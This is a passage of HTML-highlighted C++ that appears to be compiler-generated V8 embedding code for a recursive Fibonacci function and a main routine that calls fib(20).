&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ftpl_13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ftpl_13&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetFunction&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;fn_12&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SetName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;NewFromUtf8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fib&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_14&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_12&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ftpl_18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ftpl_18&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetFunction&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;fn_17&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SetName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;NewFromUtf8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fib&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_19&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_17&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_19&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetReturnValue&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;result_15&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_20&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result_15&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_20&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;result_15&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_20&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_15&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_20&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;))));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jsc_main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FunctionCallbackInfo&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Isolate&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetIsolate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nl"&gt;tail_recurse_21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ftpl_24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ftpl_24&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetFunction&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;fn_23&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SetName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;NewFromUtf8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fib&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_25&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_23&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_25&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
